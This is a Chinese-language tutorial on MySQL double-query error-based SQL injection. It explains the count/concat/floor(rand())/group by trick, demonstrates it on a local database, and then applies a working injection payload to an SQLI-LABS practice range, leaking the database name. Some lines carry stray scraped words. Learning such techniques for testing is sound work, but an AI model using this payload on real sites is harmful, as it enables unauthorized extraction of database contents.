MYSQL雙查詢錯誤1

 1、基礎知識  

  開始講解MYSQL雙查詢錯誤以前,咱們先了解一下雙查詢語句以及須要使用到的幾個數據庫函數和GROUP BY語句css

  1. 雙查詢語句mysql

    先了解一下什麼是子查詢,子查詢就是嵌入第一層select語句中的select語句,好比:css3

SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

功能:該語句實現的是找出與考試類別('T')相對應的全部考試事件行的ID,而後利用它們來查找那些考試的成績

         雙查詢語句就是此類使用了兩個select的查詢語句sql

   2. 數據庫函數和GROUP BY語句數據庫

    1)rand() --- 隨機數生成函數函數

    2)floor() --- 向下取整函數測試

    3)concat()  --- 字符串鏈接函數url

    4)count() --- 統計函數spa

    5)group by --- 給出分組條件.net

2、環境搭建

1)建立數據庫 create database injection; (2)建立表 create table user ( id int, name varchar(15) ); (3)往表中插入3條數據 insert into user value(1,'mike'); insert into user value(2,'anna'); insert into user value(3,'andy'); 數據庫版本:mysql-5.7.27

 3、查詢操做

  1. SQL語句

select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

  2. 執行狀況

  3. 操做結果

   能夠看到在第二次執行咱們的SQL語句時發生了錯誤,從錯誤提示中咱們獲知了數據庫的名字:injection.

4、靶場測試

  下面咱們利用SQLI-LABS這個SQL注入靶場作一次利用SQL雙查詢錯誤進行注入攻擊,地址以下

              http://43.247.91.228:84/Less-5/

  在上面的網址後加入:

?id=1union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

  也許是運氣好,第一次執行就獲得了想要的結果,以下:

  從上圖中能夠看出,咱們已經獲得了數據庫的名字:security. 接下來能夠一步一步構造要注入的SQL語句獲取信息,在下

  一篇講解雙查詢錯誤原理後,會講解如何構造注入語句來獲取數據庫信息.

相關文章
相關標籤/搜索